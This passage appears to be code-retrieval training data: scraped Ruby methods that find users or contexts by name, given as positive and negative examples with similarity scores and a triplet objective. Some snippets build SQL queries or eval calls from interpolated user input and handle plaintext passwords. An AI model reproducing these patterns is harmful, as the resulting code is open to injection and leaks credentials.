"def find_user(username)\n user = User.find(username, current_user)\n raise Error::AppError.new('UsersController.find_user', \"Username #{username} not found\") if user.nil?\n\n user\n end",
"def find_user(github_username)\n if username_exists?(github_username)\n User.all.find_by(github_username: github_username)\n else\n false\n end\n end",
"def find_user(user_name)\n # begin\n return Mixcloud::User.new(\"http://api.mixcloud.com/#{user_name}/\")\n # rescue Exception => e\n abort(\"User #{user_name} not found on Mixcloud, aborting. - #{e.inspect}\")\n # end\nend",
"def find_user(user)\n user = user_entry(user) if user.is_a?(String)\n case user\n when :anonymous then nil\n when User then user\n when Symbol then users(user)\n when Integer then User.find(user)\n end\n end",
"def find_user\n puts \"Please enter your name.\"\n name_input = gets.chomp\n system \"clear\"\n actual_user = User.find_by(name: name_input) #look up user name\n if !actual_user #check if name matches user input\n puts \"we could not find that user name. Please try again.\"\n find_user\n else\n @user = actual_user #set the user name to a class variable for later user\n main_menu_options #send user to main menue\n end\n end",
"def _user? name\n\t\tuid = Sdb[:_user].filter(:name => name).get(:uid)\n\t\tuid ? uid : nil\n\tend",
"def find_by_name(name)\n find_by('name', name)\n end",
"def user_has? name\n\t\tuid = Sdb[:user_info].filter(:name => name).get(:uid)\n\t\tuid ? uid : nil\n\tend",
"def user(name = context&.user)\n named_user(name)&.user\n end",
"def find_user_by_id(id)\n users.find_by_id(id)\n end",
"def _user? name\n\t\tuid = DB[:_user].filter(:name => name).get(:uid)\n\t\tuid ? true : false\n\tend",
"def finder\n User.find_by(id: @id, name: @name, email: @email)\n end",
"def find_by_credentials(credentials)\n credential = credentials[0].dup\n credential.downcase! if @klass.sorcery_config.downcase_username_before_authenticating\n @klass.sorcery_config.username_attribute_names.each do |name|\n @user = @klass.first(name => credential)\n break if @user\n end\n !!@user ? @klass.get(@user.id) : nil\n end",
"def find_username\n # Default to the nickname provided in the Omniauth details. If a nickname\n # was not provided or a user with the same username already exists, use the\n # e-mail address as the username.\n username = auth_nickname\n username = auth_email if username.blank? ||\n User.exists?(username: username)\n\n username\n end",
"def find_profile_user(full_name)\n name = split_phrase(full_name)\n profile = Profile.find_by_first_name_and_last_name(name.first, name.last)\n user = profile.user unless profile.blank?\n user\n end",
"def user_get(name)\n execute(\"id -P #{name}\") do |result|\n fail_test \"failed to get user #{name}\" unless /^#{name}:/.match?(result.stdout)\n\n yield result if block_given?\n result\n end\n end",
"def get_user_by_name(username)\n if user = @user_manager.get_user_by_name(username)\n UserAdapter.new_with_timeout(user, @timeout)\n else\n raise FtpException.new(\"username not found\")\n end\n end",
"def find_key(name)\n logger.debug \"Finding key #{name}\" if @mydebug\n user.keys.each { |key| return key if key.name == name }\n\n raise RHC::KeyNotFoundException.new(\"Key #{name} does not exist\")\n end",
"def user(user_name)\n OctocatHerder::User.fetch(user_name, connection)\n end",
"def find_user(request, username, password)\n\n end",
"def find(login_name)\n get(\"admin/user/#{login_name}\")\n response.parsed_response\n end",
"def user_exists?(name)\n Etc.getpwnam(name).name == name\n rescue ArgumentError\n false\n end",
"def find_user(username)\n user_search_form = @mahara_dashboard_page.form_with(:id => 'usf')\n user_search_form.field_with(:name => \"query\").value = username\n find_contacts_page = user_search_form.submit\n # extract all users from the search result list\n friendslist = find_contacts_page.at('#friendslist')\n users = extract_members(friendslist, nil, 'individual', false)\n end",
"def fetch_user(name, offset=0)\n raise \"no user area\" if !@user\n user = @vm.u\n idx = fetch(name)\n @vm.fetch(user + idx + offset)\n end",
"def find_by_name(name)\n end",
"def find_or_create(name)\n @users[name]\n end",
"def findname(name)\n found = @names.find { |_ky, vl| vl == name }\n return nil unless found\n\n { id: (id = found[0]), name: name, pw: @passwords[id], email: @emails[id] }\\\n end",
"def find_or_create_user\n name = get_user_name\n while name == nil\n puts ''\n puts \"*** Please enter a valid name. ***\".colorize(:color => :red)\n puts ''\n name = get_user_name\n end\n @user = User.find_or_create_by(name: name)\n @id = @user.id\n end",
"def find_or_create_user\n name = @prompt.ask(\"What's your name?: \")\n @user = Fan.find_or_create_by(name: name)\n end",
"def user_exists(name)\n self.all.any?{|user| user.name == name}\n end",
"def system_user\n User.find_by('first_name = ? AND last_name = ?', 'system', 'user')\n end",
"def find_user\n login_email = params[:user][:email].downcase\n User.find_by(email: login_email) || AdminUser.find_by(email: login_email)\n end",
"def find_user_by_login(login)\n GoodData::Domain.find_user_by_login(self, login, client: client)\n end",
"def find_user(id: nil)\n return users.detect { |user| user.id == id }\n end",
"def find_byp_username(uname)\n User.all.find do |user|\n if user.username == uname \n @a = \"#{user.password}\"\n end\n end\n @a\n end",
"def find_user(username, discrim = nil)\n users = @users.values.find_all { |e| e.username == username }\n return users.find { |u| u.discrim == discrim } if discrim\n\n users\n end",
"def find_account(name)\n return (accounts.select { |a| a[:name] == name }).first\n end",
"def check_user_exists(username)\n\t \t\tresult = @db.exec(\"SELECT * FROM users where username = '#{username}'\")\n\t\t\tparams = result.map { |x| x }\n\t \t\tif params.empty?\n\t \t\t\treturn nil\n\t \t\telse\n\t \t\t\tuser = Leftovers::Users.new(params.first[\"username\"],params.first[\"organization\"])\n\t \t\t\treturn user\n\t \t\tend\n\t \tend",
"def does_user_exist?(username)\n user = UsersModel.find_by(:name => username.to_s)\n if user\n return true\n else\n return false\n end\nend",
"def lookup_user(username, password)\n if @hash_algorithm\n require \"digest/#{@hash_algorithm.downcase}\"\n password = Object.const_get(\"Digest\").const_get(@hash_algorithm.upcase).hexdigest(password)\n end\n eval(\"#{@model}.find(:first,\n :conditions => [ '#{@username_field}=? AND #{@password_field}=?', username, password ])\") \n end",
"def find(user_id)\n sql = \"SELECT * FROM users WHERE id=$1\"\n result = Repos.db_adapter.exec(sql, [user_id])\n User.new(result[0][\"name\"], result[0][\"email_address\"], result[0][\"id\"])\n end",
"def by_name(name)\n return User.by_name(name) if User.exists?(name)\n Organization.by_name(name) if Organization.exists?(name)\n end",
"def set_user\n if params[:name]\n @user = User.where(name: params[:name]).first\n else\n count = User.count\n exists = User.exists?(params[:id].to_i)\n if (params[:id].to_i <= count) and exists\n @user = User.find(params[:id])\n end\n end\n end",
"def names_by_user # :nologin: :norobots:\n if user = params[:id] ? find_or_goto_index(User, params[:id].to_s) : @user\n query = create_query(:Name, :by_user, :user => user)\n show_selected_names(query)\n end\n end",
"def get_id(name)\n @users.each do |user|\n return user[:id] if user[:name] == name\n end\n nil\n end",
"def find_key(name)\n debug \"Finding key #{name}\"\n user.find_key(name) or raise RHC::KeyNotFoundException.new(\"Key #{name} does not exist\")\n end",
"def set_user\n @user = User.find_by(user_name: auth_params[:user_name])\nend",
"def user_exists?(name)\n @users.member?(name)\n end",
"def find_user_by_id(id)\n User.find(id)\n end",
"def find_by_username(username)\n find_by_query do |table|\n table.where(:username => username)\n end\n end",
"def get_user_with_nick(nick)\n @users.values.each do |u|\n return u if u.nick == nick\n end\n nil\n end",
"def db_select_user_name(userid)\n\t\t\n\t\t# SQL statement for selecting a userid given a sessionid\n\t\tquery = \"SELECT name FROM users \n\t\t\t\tWHERE userid='%%userid%%';\"\n\t\t\n\t\t# Fill in userid value in the SQL statement\n\t\tquery = query.gsub(/%%userid%%/, PG::Connection.escape_string(userid))\n\t\t\n\t\t# Connect to the database\n \tconn = DBTools.new.connectToDB()\n \t\n \t# Execute SQL Statement\n results = conn.exec(query)\n\t\t\n\t\t# If the userid is not found (0 results)\n if (results.ntuples == 0)\n \tresults.clear()\n conn.finish()\n raise \"Invalid sessionid.\"\n \n # Query successful\n else\n \tuserid = results[0]['name']\n \tresults.clear()\n \tconn.finish()\n \treturn userid\n end\n\tend",
"def find_user(user_id)\n user = User.find(user_id)\n user\n end",
"def finduser(username)\n begin\n user = CupDbDataModel::CupUser.find_by_login(username, @active_pg_conn)\n return user\n rescue => detail\n @log.error \"finduser is failed with error #{$!}\"\n @log.error detail.backtrace.join(\"\\n\")\n connect\n return nil\n end\n end",
"def getUserName(userName)\n if(userName != nil)\n user = loadUser(userName)\n return user[\"fname\"]+\" \"+user[\"lname\"]\n end\n return \"User not Found!\"\n end",
"def get_user_by_id(id)\n $r.hgetall(\"user:#{id}\")\n end",
"def get_user(username)\n Chef::Log.info username\n user = @node[:users][username]\n Chef::Log.info user.inspect\n user\nend",
"def find_user(params)\n Rails.application.eager_load!\n user = nil\n ActiveRecord::Base.descendants.select {|model| model < Umanage::User}.each do |umodel|\n user ||= umodel.find_by(email: params[:session][:email].downcase)\n end\n return user\n end",
"def find(username)\n response = client.get \"/users/#{username}\"\n response.code == 200 ? build(JSON.parse(response.body)) : nil\n end",
"def get_user(name)\n user = nil\n \n @user_pool.info\n @user_pool.each{ |u|\n if u.name==name\n user=Hash.new\n\n user[:id] = u.id\n user[:name] = u.name\n user[:password] = u[:password]\n end\n }\n return user\n end",
"def valiateUser(uname, upass)\n @conn.exec( \"SELECT name FROM user_login WHERE name='#{uname}' AND upass='#{upass}'\" ) do |result|\n result.each do |row|\n @user = row['name']\n end\n end\n\treturn @user\n end",
"def find_member_by_username(username)\n @board.members.find { |m| m.username == username }\n end",
"def users_by_name # :norobots:\n if is_in_admin_mode?\n query = create_query(:User, :all, by: :name)\n show_selected_users(query)\n else\n flash_error(:permission_denied.t)\n redirect_to(action: \"list_rss_logs\")\n end\n end",
"def get_user(buf) \r\n return nil if buf[40,4].unpack('L').first <= 0 # UserSidLength\r\n\r\n name = 0.chr * MAX_SIZE\r\n name_size = [name.size].pack('L')\r\n domain = 0.chr * MAX_SIZE\r\n domain_size = [domain.size].pack('L')\r\n snu = 0.chr * 4\r\n \r\n offset = buf[44,4].unpack('L').first # UserSidOffset\r\n \r\n val = LookupAccountSid(\r\n @server,\r\n [buf].pack('P').unpack('L').first + offset,\r\n name,\r\n name_size,\r\n domain,\r\n domain_size,\r\n snu\r\n )\r\n \r\n # Return nil if the lookup failed\r\n return val ? name.nstrip : nil\r\n end",
"def exists?(name)\n find_user(name)&.size != 0\n end",
"def show\n @user = User.where(name: params[:name]).first\n render_404 unless @user\n end"
] | [
"0.81084555",
"0.8059867",
"0.79457587",
"0.783661",
"0.77629906",
"0.76614183",
"0.76115006",
"0.7596374",
"0.7580752",
"0.7445347",
"0.73613834",
"0.73065287",
"0.72814715",
"0.7266351",
"0.7236473",
"0.72094184",
"0.7124329",
"0.7121741",
"0.7121741",
"0.71156764",
"0.709561",
"0.70408165",
"0.7037614",
"0.7021634",
"0.7017435",
"0.7014145",
"0.6983583",
"0.6960022",
"0.6942942",
"0.69320285",
"0.6924279",
"0.6915779",
"0.6904328",
"0.68970525",
"0.6896257",
"0.686077",
"0.6824081",
"0.679775",
"0.6740593",
"0.6717759",
"0.67060137",
"0.67060125",
"0.6674564",
"0.6593884",
"0.6576791",
"0.6563248",
"0.6551501",
"0.6540214",
"0.6536071",
"0.65265155",
"0.6520555",
"0.651655",
"0.651644",
"0.6510774",
"0.6510387",
"0.65079933",
"0.6507975",
"0.6502086",
"0.64961326",
"0.64956015",
"0.6480523",
"0.6478634",
"0.6469308",
"0.64690787",
"0.64475316",
"0.64458",
"0.64278954",
"0.64260584",
"0.6420876",
"0.6395469",
"0.6392282",
"0.6383951",
"0.6382241",
"0.6376515",
"0.6357734",
"0.63517165",
"0.63479906",
"0.63241476",
"0.6314034",
"0.6302211",
"0.6291208",
"0.62891555",
"0.6276603",
"0.62695545",
"0.6259759",
"0.62566614",
"0.62547904",
"0.62543756",
"0.6254229",
"0.62511474",
"0.6244563",
"0.62424517",
"0.6230547",
"0.6228817",
"0.6225179",
"0.62223446",
"0.6220259",
"0.621997",
"0.6218256",
"0.6209991"
] | 0.80484194 | 2 |
Find a user by name | def user(name = context&.user)
named_user(name)&.user
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def look_for_user(name)\n User.find_by name: name\nend",
"def find_user(name) \n \n if ( name.downcase != name )\n @logger.info \"Looking for #{name.downcase} instead of #{name}\"\n end\n query_result = @rally.find(:user, :fetch => true, :pagesize => 100) { equal :login_name, name.downcase }\n \n if query_result.total_result_count == 0\n return nil\n else\n return query_result.results.first\n end\n end",
"def user_by_name(name)\n @users[name]\n end",
"def get_user(name)\n User.where(name:).first\n end",
"def find(name)\n @users.fetch(name)\n end",
"def get_user(name)\n @model.find_by(name: name)\n end",
"def find_user(name)\n if ( name.downcase != name )\n @logger.info \"Looking for #{name.downcase} instead of #{name}\"\n end\n\n if @cached_users.has_key?(name.downcase)\n return @cached_users[name.downcase]\n end\n\n single_user_query = RallyAPI::RallyQuery.new()\n single_user_query.type = :user\n single_user_query.fetch = @detail_user_fetch\n single_user_query.page_size = 200 #optional - default is 200\n single_user_query.limit = 90000 #optional - default is 99999\n single_user_query.order = \"UserName Asc\"\n single_user_query.query_string = \"(UserName = \\\"\" + name + \"\\\")\"\n\n query_results = @rally.find(single_user_query)\n\n if query_results.total_result_count == 0\n return nil\n else\n # Cache user for use next time\n this_user = query_results.first\n @cached_users[this_user[\"UserName\"].downcase] = this_user\n @logger.info \"Caching User: #{this_user.UserName}\"\n\n return this_user\n end\n end",
"def named_user(name = context&.user)\n return nil if name.nil?\n\n users.find { |c| c.name == name }\n end",
"def findUserByVanityName(name)\n method = 'findUser'\n type = User\n args = {:vanityName=>name}\n return_object type,method,args\n end",
"def find_user_byname(username)\n @user = User.where(username: username)\n end",
"def find_by_username\n User.find_by_username(@username_or_id)\n end",
"def find_by_username!\n User.find_by_username!(@username_or_id)\n end",
"def find_uiby_username(uname)\n User.all.find do |user|\n if user.username == uname \n user \n end\n end\n end",
"def find_user(name)\n return [] if APP_CONFIG.disabled?(\"ldap\")\n\n configuration = ::Portus::LDAP::Configuration.new(user: { username: name })\n connection = initialized_adapter\n search_admin_or_user(connection, configuration)\n rescue ::Net::LDAP::Error => e\n Rails.logger.tagged(:ldap) { Rails.logger.warn \"Connection error: #{e.message}\" }\n []\n end",
"def find_user\n @user = User.with_username(params[:id]).first\n end",
"def find_user\n results = @ldap.search( :base => options[:ldap][:base], :filter => user_filter)\n return results.first\n end",
"def get_user(name, user_list = users)\n return member(name) if name.instance_of?(GoodData::Membership)\n return member(name) if name.instance_of?(GoodData::Profile)\n name = name.is_a?(Hash) ? name[:login] || name[:uri] : name\n return nil unless name\n name.downcase!\n user_list.find do |user|\n user.uri && user.uri.downcase == name ||\n user.login && user.login.downcase == name\n end\n end",
"def find_users_by_name(**args)\n params = parameters(args) do\n required_params :term\n optional_params :term, :search_by_email\n end\n request(:get, 'users/find', params)\n end",
"def get_user(name, user_list = users)\n return name if name.instance_of?(GoodData::Membership)\n name.downcase!\n user_list.each do |user|\n return user if user.uri.downcase == name ||\n user.login.downcase == name ||\n user.email.downcase == name\n end\n nil\n end",
"def find_user_byname(username)\n # accept a username input parameter\n # use the User Model class to find all Users with the supplied username. \n # NOTE: Username is not unique in the Users table, thus you can have many users with the same username.\n # return a collection of User instances that match the provided username\n @user_names = User.where(:username => username)\n @user_names\n end",
"def get_user_by_username(name)\n resp = request('getUserByUsername', {:username => name})['user']\n resp['username'].empty? ? nil : User.new(self, resp)\n end",
"def find_by_id!\n User.find(@username_or_id)\n end",
"def get_user(username, users)\n puts \"Searching for user '#{username}'\"\n users.each do |user|\n return user if user[:username] == username\n end\n puts \"User #{username} not found!\"\n return nil\n end",
"def find_user_by_username(username, params = {})\n params.merge!(username: username)\n users(params).first\n end",
"def find_by_username(username)\n find_by(username: username.downcase)\n end",
"def find_by_id\n User.find_by_id(@username_or_id)\n end",
"def find(nick)\n @users.find { |u| u.nick.downcase == nick.downcase }\n end",
"def user(id_or_username = \"my\", params = {})\n if id_or_username.is_a?(Fixnum) || id_or_username == 'my'\n find_user_by_id id_or_username, params\n else\n find_user_by_username id_or_username, params\n end\n end",
"def find_user_by_login(login)\n GoodData::Domain.find_user_by_login(name, login)\n end",
"def find_user_by_login(login)\n GoodData::Domain.find_user_by_login(name, login)\n end",
"def checkUser(userName)\n @users = User.all\n @users.each do |user|\n if user[\"userName\"] == userName\n return user\n end\n end\n return false\n end",
"def find user_name\n response = @client.action \"DescribeUser\", \"Name\" => user_name\n\n Response::User.new response.body['DescribeUserResponse']\n rescue Hugs::Errors::BadRequest\n end",
"def find_by_name(name)\n find_by('name', name)\n end",
"def find_user(username)\n user = User.find(username, current_user)\n raise Error::AppError.new('UsersController.find_user', \"Username #{username} not found\") if user.nil?\n\n user\n end",
"def find_user\n puts \"Please enter your name.\"\n name_input = gets.chomp\n system \"clear\"\n actual_user = User.find_by(name: name_input) #look up user name\n if !actual_user #check if name matches user input\n puts \"we could not find that user name. Please try again.\"\n find_user\n else\n @user = actual_user #set the user name to a class variable for later user\n main_menu_options #send user to main menue\n end\n end",
"def find_user(alias_, nickname=nil)\n if nickname && ['me', 'i', 'my'].include?(alias_)\n alias_ = nickname\n end\n user = @users.get(alias_)\n raise Pagerbot::UserNotFoundError.new(\"I don't know who #{alias_} is.\") unless user\n return user\n end",
"def [](name)\n handle = system.run(:search, \"user\", name, nil, @keyring)\n return nil if handle == -1\n\n system.get(:read, handle)\n end",
"def finder\n User.find_by(id: @id, name: @name, email: @email)\n end",
"def find_user(user_name)\n # begin\n return Mixcloud::User.new(\"http://api.mixcloud.com/#{user_name}/\")\n # rescue Exception => e\n abort(\"User #{user_name} not found on Mixcloud, aborting. - #{e.inspect}\")\n # end\nend",
"def find_user_by_id(id)\n users.find_by_id(id)\n end",
"def find_user(user)\n user = user_entry(user) if user.is_a?(String)\n case user\n when :anonymous then nil\n when User then user\n when Symbol then users(user)\n when Integer then User.find(user)\n end\n end",
"def find_user(github_username)\n if username_exists?(github_username)\n User.all.find_by(github_username: github_username)\n else\n false\n end\n end",
"def real_user(name)\n if User.anonymized_view?(session[:ip])\n user = User.real_user_from_anonymized_name(name)\n else\n user = User.find_by(name: name)\n end\n return user\n end",
"def find_by_name(name)\n end",
"def find_or_create_user\n name = get_user_name\n while name == nil\n puts ''\n puts \"*** Please enter a valid name. ***\".colorize(:color => :red)\n puts ''\n name = get_user_name\n end\n @user = User.find_or_create_by(name: name)\n @id = @user.id\n end",
"def find_user(username)\n user_search_form = @mahara_dashboard_page.form_with(:id => 'usf')\n user_search_form.field_with(:name => \"query\").value = username\n find_contacts_page = user_search_form.submit\n # extract all users from the search result list\n friendslist = find_contacts_page.at('#friendslist')\n users = extract_members(friendslist, nil, 'individual', false)\n end",
"def find_or_create(name)\n @users[name]\n end",
"def find_or_create_user\n name = @prompt.ask(\"What's your name?: \")\n @user = Fan.find_or_create_by(name: name)\n end",
"def find_user(id: nil)\n return users.detect { |user| user.id == id }\n end",
"def find_byp_username(uname)\n User.all.find do |user|\n if user.username == uname \n @a = \"#{user.password}\"\n end\n end\n @a\n end",
"def find(user_id)\n sql = \"SELECT * FROM users WHERE id=$1\"\n result = Repos.db_adapter.exec(sql, [user_id])\n User.new(result[0][\"name\"], result[0][\"email_address\"], result[0][\"id\"])\n end",
"def _user? name\n\t\tuid = Sdb[:_user].filter(:name => name).get(:uid)\n\t\tuid ? uid : nil\n\tend",
"def fetch_user(name, offset=0)\n raise \"no user area\" if !@user\n user = @vm.u\n idx = fetch(name)\n @vm.fetch(user + idx + offset)\n end",
"def user_has? name\n\t\tuid = Sdb[:user_info].filter(:name => name).get(:uid)\n\t\tuid ? uid : nil\n\tend",
"def user_exists(name)\n self.all.any?{|user| user.name == name}\n end",
"def set_user\n if params[:name]\n @user = User.where(name: params[:name]).first\n else\n count = User.count\n exists = User.exists?(params[:id].to_i)\n if (params[:id].to_i <= count) and exists\n @user = User.find(params[:id])\n end\n end\n end",
"def find_key(name)\n logger.debug \"Finding key #{name}\" if @mydebug\n user.keys.each { |key| return key if key.name == name }\n\n raise RHC::KeyNotFoundException.new(\"Key #{name} does not exist\")\n end",
"def does_user_exist?(username)\n user = UsersModel.find_by(:name => username.to_s)\n if user\n return true\n else\n return false\n end\nend",
"def find_profile_user(full_name)\n name = split_phrase(full_name)\n profile = Profile.find_by_first_name_and_last_name(name.first, name.last)\n user = profile.user unless profile.blank?\n user\n end",
"def user(user_name)\n OctocatHerder::User.fetch(user_name, connection)\n end",
"def find_account(name)\n return (accounts.select { |a| a[:name] == name }).first\n end",
"def find_user_by_id(id)\n User.find(id)\n end",
"def user_get(name)\n execute(\"id -P #{name}\") do |result|\n fail_test \"failed to get user #{name}\" unless /^#{name}:/.match?(result.stdout)\n\n yield result if block_given?\n result\n end\n end",
"def find_by_credentials(credentials)\n credential = credentials[0].dup\n credential.downcase! if @klass.sorcery_config.downcase_username_before_authenticating\n @klass.sorcery_config.username_attribute_names.each do |name|\n @user = @klass.first(name => credential)\n break if @user\n end\n !!@user ? @klass.get(@user.id) : nil\n end",
"def show\n @user = User.where(name: params[:name]).first\n render_404 unless @user\n end",
"def _user? name\n\t\tuid = DB[:_user].filter(:name => name).get(:uid)\n\t\tuid ? true : false\n\tend",
"def find(username)\n response = client.get \"/users/#{username}\"\n response.code == 200 ? build(JSON.parse(response.body)) : nil\n end",
"def find_user(request, username, password)\n\n end",
"def findname(name)\n found = @names.find { |_ky, vl| vl == name }\n return nil unless found\n\n { id: (id = found[0]), name: name, pw: @passwords[id], email: @emails[id] }\\\n end",
"def find(login_name)\n get(\"admin/user/#{login_name}\")\n response.parsed_response\n end",
"def find_by_username(username)\n find_by_query do |table|\n table.where(:username => username)\n end\n end",
"def check_user_exists(username)\n\t \t\tresult = @db.exec(\"SELECT * FROM users where username = '#{username}'\")\n\t\t\tparams = result.map { |x| x }\n\t \t\tif params.empty?\n\t \t\t\treturn nil\n\t \t\telse\n\t \t\t\tuser = Leftovers::Users.new(params.first[\"username\"],params.first[\"organization\"])\n\t \t\t\treturn user\n\t \t\tend\n\t \tend",
"def get_id(name)\n @users.each do |user|\n return user[:id] if user[:name] == name\n end\n nil\n end",
"def get_user_by_id(id)\n $r.hgetall(\"user:#{id}\")\n end",
"def get_user_by_name(username)\n if user = @user_manager.get_user_by_name(username)\n UserAdapter.new_with_timeout(user, @timeout)\n else\n raise FtpException.new(\"username not found\")\n end\n end",
"def find_user_by_login(login)\n GoodData::Domain.find_user_by_login(self, login, client: client)\n end",
"def system_user\n User.find_by('first_name = ? AND last_name = ?', 'system', 'user')\n end",
"def find_person\r\n if (params[:u] == nil || params[:u] == '')\r\n require_login || return\r\n @person = User.current\r\n else\r\n @person = Person.find(params[:u])\r\n end\r\n rescue ActiveRecord::RecordNotFound\r\n render_404\r\n end",
"def by_name(name)\n return User.by_name(name) if User.exists?(name)\n Organization.by_name(name) if Organization.exists?(name)\n end",
"def find_user(username, discrim = nil)\n users = @users.values.find_all { |e| e.username == username }\n return users.find { |u| u.discrim == discrim } if discrim\n\n users\n end",
"def find_user\n login_email = params[:user][:email].downcase\n User.find_by(email: login_email) || AdminUser.find_by(email: login_email)\n end",
"def find_user(user_id)\n user = User.find(user_id)\n user\n end",
"def names_by_user # :nologin: :norobots:\n if user = params[:id] ? find_or_goto_index(User, params[:id].to_s) : @user\n query = create_query(:Name, :by_user, :user => user)\n show_selected_names(query)\n end\n end",
"def find_key(name)\n debug \"Finding key #{name}\"\n user.find_key(name) or raise RHC::KeyNotFoundException.new(\"Key #{name} does not exist\")\n end",
"def user_obj\r\n User.select(:name).where(id: object.user_id).last || User.new(name: \"Not Found\")\r\n end",
"def find_username\n # Default to the nickname provided in the Omniauth details. If a nickname\n # was not provided or a user with the same username already exists, use the\n # e-mail address as the username.\n username = auth_nickname\n username = auth_email if username.blank? ||\n User.exists?(username: username)\n\n username\n end",
"def lookup_user(username, password)\n if @hash_algorithm\n require \"digest/#{@hash_algorithm.downcase}\"\n password = Object.const_get(\"Digest\").const_get(@hash_algorithm.upcase).hexdigest(password)\n end\n eval(\"#{@model}.find(:first,\n :conditions => [ '#{@username_field}=? AND #{@password_field}=?', username, password ])\") \n end",
"def show\n @user = User.find_by_github_name params[:github_name]\n end",
"def find_by_name(name)\n return nil unless name.present?\n names.select {|e| e == name}\n end",
"def find_user\n User.find(params.fetch(:id))\n end",
"def find_user\n return User.all if params[:user_id].nil?\n\n User.find(params[:user_id])\n end",
"def show\n if params[:id].to_i.to_s == params[:id]\n @user = User.find(params[:id])\n else\n @user = User.find_by(username: params[:id])\n end\n end",
"def search_user(username)\n response = @api_client.get(URI::USER_SHOW_URI, { screen_name: username })\n User.new(response)\n end",
"def by_name(name)\r\n return User.by_name(name) if User.exists?(name)\r\n Organization.by_name(name) if Organization.exists?(name)\r\n end",
"def match(name)\n query(FindByString: name)\n end",
"def valiateUser(uname, upass)\n @conn.exec( \"SELECT name FROM user_login WHERE name='#{uname}' AND upass='#{upass}'\" ) do |result|\n result.each do |row|\n @user = row['name']\n end\n end\n\treturn @user\n end",
"def set_user\n @user = User.find_by(user_name: auth_params[:user_name])\nend",
"def find_user(username)\n user = User.find_or_create_by_full_name(params[:user])\n user.password = user.password_confirmation = params[:user]\n user\n end",
"def user_exists?(name)\n Etc.getpwnam(name).name == name\n rescue ArgumentError\n false\n end",
"def users_by_name # :norobots:\n if is_in_admin_mode?\n query = create_query(:User, :all, by: :name)\n show_selected_users(query)\n else\n flash_error(:permission_denied.t)\n redirect_to(action: \"list_rss_logs\")\n end\n end"
] | [
"0.8145311",
"0.81218493",
"0.7979529",
"0.79059875",
"0.7849231",
"0.7848601",
"0.78291154",
"0.7764142",
"0.7742404",
"0.77355987",
"0.7572746",
"0.745201",
"0.73547286",
"0.72880125",
"0.7272935",
"0.7256001",
"0.72431695",
"0.7202481",
"0.7202175",
"0.7199591",
"0.71946263",
"0.7128656",
"0.71232146",
"0.7121003",
"0.7113344",
"0.7104223",
"0.71010315",
"0.70674944",
"0.7056251",
"0.7056251",
"0.70276767",
"0.70135087",
"0.6998074",
"0.6925884",
"0.68906343",
"0.68818295",
"0.68659455",
"0.6865894",
"0.682029",
"0.6818285",
"0.6753265",
"0.67526084",
"0.6745054",
"0.6734853",
"0.6666351",
"0.6660366",
"0.66265845",
"0.66251105",
"0.66059434",
"0.65991354",
"0.65918374",
"0.65883225",
"0.65717477",
"0.65697384",
"0.6548142",
"0.65421313",
"0.6534617",
"0.65267867",
"0.65169895",
"0.6513304",
"0.6512692",
"0.65097606",
"0.6507535",
"0.6506334",
"0.6501295",
"0.6492803",
"0.64881754",
"0.6488103",
"0.6484132",
"0.646023",
"0.64524454",
"0.64482707",
"0.64386237",
"0.64364076",
"0.6431273",
"0.6428019",
"0.6426172",
"0.6416347",
"0.64153135",
"0.64061326",
"0.64052975",
"0.63982135",
"0.63866234",
"0.63833714",
"0.6367456",
"0.63617426",
"0.63607216",
"0.6354715",
"0.6337198",
"0.632411",
"0.63232243",
"0.6309727",
"0.63025904",
"0.62846035",
"0.6283007",
"0.6277798",
"0.6275166",
"0.62745816",
"0.62745357",
"0.62595665"
] | 0.6417703 | 77 |
Find a context by name | def context(name = current_context)
named_context(name)&.context
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def lookup(context, name)\n\t\t\tlookup = context\n\t\t\tname.split(\".\").each { |value| lookup = lookup[value] }\n\t\t\tlookup\n\t\tend",
"def lookup(context, name)\n lookup = context\n name.split(\".\").each { |value| lookup = lookup[value] }\n lookup\n end",
"def lookup(context, name)\n lookup = context\n name.split(\".\").each { |value| lookup = lookup[value] }\n lookup\n end",
"def lookup(context, name)\n lookup = context\n name.split(\".\").each { |value| lookup = lookup[value] }\n lookup\n end",
"def lookup(context, name)\n lookup = context\n name.split(\".\").each { |value| lookup = lookup[value] }\n lookup\n end",
"def get_contexts_named( name )\n @context_list.values.map{ |context| context if context.name == name }.compact\n end",
"def context_by_token_name(token_name)\n contexts.values.detect{|ctx| ctx.applies_to_token?(token_name)}\n end",
"def context(name)\n contexts[name] ||= []\n end",
"def getContextFromUsernameCtxname(contextname)\n if contextname == nil\n return nil\n end\n \n # If contextname includes '.', it is of form username_personalContextname\n index = contextname.index('.')\n if index != nil\n\n # If '.' is the last character, return nil\n if contextname[contextname.length-1..contextname.length-1] == '.'\n return nil\n end\n\n username = contextname[0..index-1].downcase\n personalContextname = contextname[index+1..-1].downcase\n\n # Find contextname\n ctx_name = ContextName.find_by_username_and_name(username, personalContextname)\n if ctx_name == nil\n return nil\n end\n \n # Find Context\n ctx = Context.find_by_id(ctx_name.context_id) \n \n if ctx == nil\n return nil\n end\n \n # Return context\n return ctx\n \n # Context wasn't found -> return nil\n else\n return nil\n end\n return nil\n end",
"def context(name)\n contexts[name] = [] unless contexts.has_key?(name)\n contexts[name]\n end",
"def context_by_keyword(keyword)\n hash_value(contexts, keyword)\n end",
"def find_context(request_context, &block)\n # Search in blocks in the following order.\n # 1. primary context(no context)\n # 2. complete match config[:context] == request_context\n # 3. partial match config[:context] =~ request_context\n return {} if with_context({}, &block)\n\n Config.instance.keymap.each do |config|\n next unless config[:context] == request_context\n return config[:context] if with_context(config[:context], &block)\n end\n if request_context.keys.size > 1\n Config.instance.keymap.each do |config|\n next if config[:context].nil?\n\n next unless config[:context].all? { |k, v| request_context[k] == v }\n return config[:context] if with_context(config[:context], &block)\n end\n end\n end",
"def use(context_name)\n if context = KO.contexts[context_name]\n include context\n else\n raise NameError, \"context not found -- #{context_name}\"\n end\n end",
"def find_with_context(key, context) \n return @config[context][key] if @config[context][key]\n return @config[:common][key] if @config[:common][key]\n return nil\n end",
"def context_object( *finder_options )\n params[:context_type].classify.constantize.find(\n context_id, *finder_options )\n end",
"def get_context(key)\n @context[key]\n end",
"def resolve(key, identifier: false)\n if identifier\n key_identifier = find(Regexp.new(key.to_s)).map(&:name).last\n OpenStruct.new @contexts.values.detect{|hash| hash[:name].to_s == key_identifier.to_s}\n else\n OpenStruct.new @contexts.values.detect{|hash| hash[:name].to_s == key.to_s}\n end\n \n end",
"def lookup_context; end",
"def lookup_context; end",
